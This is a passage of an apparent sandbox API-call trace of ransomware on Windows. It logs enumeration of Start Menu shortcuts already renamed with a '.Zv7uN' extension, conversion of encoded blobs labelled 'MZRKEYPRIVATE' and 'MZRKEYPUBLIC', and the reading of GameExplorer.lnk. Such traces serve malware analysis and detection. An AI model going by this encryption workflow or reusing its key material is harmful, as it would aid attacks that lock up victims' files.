ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x63a46b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell Modules.lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0133.261] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.261] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x63a46b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell Modules.lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 0 [0133.262] GetLastError () returned 0x12 [0133.262] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.262] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x61835080, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Adobe Reader X.lnk.Zv7uN", cAlternateFileName="ADOBER~1.ZV7")) returned 1 [0133.262] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.262] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.262] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.262] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Games", cAlternateFileName="")) returned 1 [0133.262] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.262] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.262] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.262] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.263] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.263] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 1 [0133.263] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.263] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.263] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102)) returned 1 [0133.264] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk")) returned 0x20 [0133.264] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk", dwFileAttributes=0x80) returned 1 [0133.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.267] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.268] GetCurrentThreadId () returned 0xa30 [0133.268] GetCurrentThreadId () returned 0xa30 [0133.268] GetCurrentThreadId () returned 0xa30 [0133.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.269] GetCurrentThreadId () returned 0xa30 [0133.269] GetCurrentThreadId () returned 0xa30 [0133.269] GetCurrentThreadId () returned 0xa30 [0133.269] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.270] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.270] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.270] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x102 [0133.270] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.270] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x102, lpOverlapped=0x0) returned 1 [0133.272] CloseHandle (hObject=0x1e8) returned 1 [0133.273] CreateFileW 